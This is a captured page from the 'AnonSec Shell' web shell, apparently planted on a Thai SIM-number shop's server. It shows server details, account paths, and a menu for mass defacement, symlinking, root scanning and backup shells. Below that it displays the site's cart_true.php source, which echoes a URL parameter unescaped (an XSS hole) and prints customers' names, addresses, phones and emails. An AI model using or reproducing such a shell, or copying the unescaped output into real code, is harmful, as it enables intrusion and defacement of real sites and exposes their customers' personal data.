AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/cart/cart_true.php
<?php
include('../include72/header.php');
include('../themesv2/menu.php');
?>

<div class="bg-3-cover">
	<?php include('../themesv2/menu2.php'); ?>
	<div class="container pt-3">
		<div class="row">
			<div class="col-12 text-center">
				<p class="HeadText text-spacing-md fw-bold text-light">การสั่งซื้อของคุณเสร็จเรียบร้อยแล้วค่ะ</p>
			</div>
		</div>
	</div>
	<?php
	$id_order = (int)$_GET['order'];
	$sql_m = array('table'=>'orders','where'=>"id = '".$id_order."'");
	$viewid_m = $view_db->view($sql_m);
	$row_m = $view_db->q($viewid_m);
	?>
	<div class="container text-spacing-md fw-bold fs-5 text-light">
		<div class="row">
			<div class="col-12">
				<p><?php echo str_pad($_GET['order'],5,"0",STR_PAD_LEFT); ?></p>
				<p>ที่อยู่การจัดส่ง</p>
				<p class="mb-0">รายละเอียด</p>
				<p class="mb-0">คุณ<?php echo $row_m['name'] .' '. $row_m['lastname']; ?></p>
				<p class="mb-0"><?php echo $row_m['address']?> จ. <?php echo $row_m['name'];?>   <?php echo $row_m['zipcode']?>

				</p>
				<p class="text-danger-sim mb-0">รูปแบบการจัดส่ง : <?php echo $row_m['delivery']; ?></p>
				<p class="mb-0">โทร.<?php $phone = $Phone_class->format_phonenumber($row_m['phone'],1); echo $phone; ?></p>
				<p class="mb-0">Email : <?php echo $row_m['email']?></p>
			</div>

		</div>
	</div>
	<div class="container pt-3 pb-3 text-spacing-md fw-bold fs-5 text-light">
		<div class="row p-2 border-color-sim rounded-pill-end rounded-pill-start text-light text-center">
			<div class="col-4 bg-color-sim border-color-sim rounded-pill-start2">
				<p class="my-2">เบอร์ที่สั่งซื้อ</p>
			</div>
			<div class="col-2 bg-color-sim border-color-sim">
				<p class="my-2">ร้านค้า</p>
			</div>
			<div class="col-2 bg-color-sim border-color-sim">
				<p class="my-2">ผลรวม</p>
			</div>
			<div class="col-2 bg-color-sim border-color-sim">
				<p class="my-2">เครือข่าย</p>
			</div>
			<div class="col-2 bg-color-sim border-color-sim rounded-pill-end2">
				<p class="my-2">ราคา/บาท</p>
			</div>
		</div>

		<?php
		$total = 0;$i=0;
		$list_or = array('table'=>'order_detail','where'=>'id_order = "'.$id_order.'" ORDER BY id ASC' );
		$view_or = $view_db->view($list_or);
		$result_or = $view_db->q_re($view_or);
		while($row_or = $view_db->q_ro($result_or))
		{

			$list = array('table'=>'phonenumber','where'=>'id = "'.$row_or['id_pho'].'"','order'=> "ORDER BY id DESC");
			$view = $view_db->view($list);
			$row = $view_db->q($view);

			if($row){
				$phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);

				$row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

				$list_shr = array('table'=>'shop','where'=>'id = "'.$row_or['id_shop'].'" ');
				$view_shr = $view_db->view($list_shr);
				$row_shr = $view_db->q($view_shr);

			}else{
				$phonenumber = $row['carregistration'];

				$row_mobilenetwork = '';

				$list_shr = array('table'=>'shop','where'=>'id = "'.$row_or['id_shop'].'" ');
				$view_shr = $view_db->view($list_shr);
				$row_shr = $view_db->q($view_shr);
			}
			?>
			<div class="row px-2 <?php echo ($i==0)?'pt-2':''; ?> pb-0 border-color-sim border-top-0 text-center" style="<?php echo ($i==0)?'margin-top: -20px;':''; ?>">

				<div class="col-4 <?php echo ($i==0)?'mt-2-box':''; ?> border-end-sim-box align-items-center d-flex justify-content-center">
					<span class="pe-2"><?php echo $phonenumber; ?></span>
				</div>
				<div class="col-2 <?php echo ($i==0)?'mt-2-box':''; ?> border-end-sim-box align-items-center d-flex justify-content-center">

					<?php echo imgprofile_shop($row_shr['image_profile'],'34'); ?>
					<a href="<?php echo $Url_shop.$row_shr['codeshop']?>" class="ps-2 text-decoration-none text-light">
						<?php echo $row_shr['nameShop'];?>
					</a>


				</div>
				<div class="col-2 <?php echo ($i==0)?'mt-2-box':''; ?> border-end-sim-box d-flex align-items-center justify-content-center">
					[<?php echo $row['total']?>]
				</div>
				<div class="col-2 <?php echo ($i==0)?'mt-2-box':''; ?> border-end-sim-box d-flex align-items-center justify-content-center">
					<?php  if($row_mobilenetwork != ''){ ?>
						<img src="<?php echo $upload ?>mobilenetwork/<?php echo $row_mobilenetwork ?>" width="50">
					<?php } ?>
				</div>
				<div class="col-2 d-flex align-items-center justify-content-center">
					<?php echo number_format($row['price'])?>
				</div>
			</div>


			<?php
			$total =  $total + $row['price'];
			$i++;
		}
		?>
		<?php $sip=$row_m['delivery_p'];?>

		<?php $sumtotal = $total + $sip ;?>
		<div class="row px-2 pb-0 border-color-sim border-top-0 text-center" style="<?php echo ($i==0)?'margin-top: -20px;':''; ?>min-height: 53px">
			<div class="col-6 border-end-sim-box text-center">

			</div>
			<div class="col-4 border-end-sim-box align-items-center d-flex justify-content-center">
				<span class="pe-2"><?php echo $row_m['delivery']?></span>
			</div>

			<div class="col-2 d-flex align-items-center justify-content-center">
				<?php echo number_format($sip)?>
			</div>
		</div>
		<div class="row px-2 pb-0 border-color-sim border-top-0 rounded-bottom-sim text-center" style="<?php echo ($i==0)?'margin-top: -20px;':''; ?>min-height: 53px">
			<div class="col-6 border-end-sim-box text-center">

			</div>
			<div class="col-4 border-end-sim-box align-items-center d-flex justify-content-center">
				<span class="pe-2">ราคารวมทั้งหมด</span>
			</div>

			<div class="col-2 d-flex align-items-center justify-content-center">
				<?php echo number_format($sumtotal); ?>
			</div>
		</div>

		<div class="row mt-3">
			<div class="col-12 text-center">
				<button type="button" class="btn btn-danger-sim px-4 text-spacing-md fw-bold fs-4" onclick="window.location.href='../order_member/connfirmbill.php?id=<?php echo $id_order; ?>'">ยืนยันการชำระเงิน</button>
			</div>
		</div>

	</div>
</div>


<?php
include('../themesv2/footer.php');
include('../include/footer_js.php');
?>

Anon7 - 2022
AnonSec Team